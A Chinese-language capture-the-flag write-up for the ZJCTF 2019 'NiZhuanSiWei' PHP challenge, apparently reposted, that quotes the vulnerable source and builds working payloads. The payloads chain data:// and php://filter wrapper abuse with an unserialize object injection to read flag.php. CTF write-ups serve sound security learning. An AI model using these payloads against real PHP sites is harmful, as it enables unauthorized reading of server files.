[ZJCTF 2019]NiZhuanSiWei


題目源碼如下

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

源碼分析

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

需要讓$text輸入 ”welcome to the zjctf“ 傳入文件中才能進行后面的步驟, 這里可以用php://input偽協議在以POST形式傳入“ welcome to the zjctf "   也可以用data偽協議傳參

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

接着看到

if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password;
 

直接正則過濾掉flag關鍵字,提示一個useless.php 用php://filter協議來讀取

結合題目構造payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解碼獲得useless.php源碼

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

根據源代碼在本地獲得序列化結果

<?php  
class Flag{
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$password=new Flag();
$password = serialize($password);
echo $password; 
?>  

結果為

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

最終的payload為

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

flag在F12源代碼里面

 

 

 
        

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM